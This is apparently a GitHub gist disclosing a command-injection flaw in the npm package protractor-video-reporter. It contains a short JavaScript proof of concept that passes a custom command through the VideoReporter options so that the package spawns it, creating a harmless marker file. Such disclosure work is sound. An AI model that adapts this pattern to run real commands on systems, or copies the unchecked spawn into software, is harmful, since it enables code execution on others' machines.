Skip to content

Instantly share code, notes, and snippets.

@mcoimbra
Created October 29, 2023 23:20
Show Gist options
  • Save mcoimbra/5208d7facaa0d422d6180faea707c85c to your computer and use it in GitHub Desktop.
Save mcoimbra/5208d7facaa0d422d6180faea707c85c to your computer and use it in GitHub Desktop.
Package protractor-video-reporter: it is possible to take advantage of the 'options' argument of the VideoReporter constructor to execute a custom binary and arguments (authors only focus on ffmpeg executables...).
'use strict'
const pkg = require('protractor-video-reporter');
console.log(pkg);
const options = {
ffmpegCmd: 'touch',
ffmpegArgs: ['exploited.txt']
}
const i = new pkg(options);
console.log(i);
const videoPath = '../';
/*
* This will call spawn('touch', ['exploited.txt'] on line #84
* of src/lib/VideoReporter.js.
* A local 'exploited.txt' file is created.
*/
i._startScreencast(videoPath);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment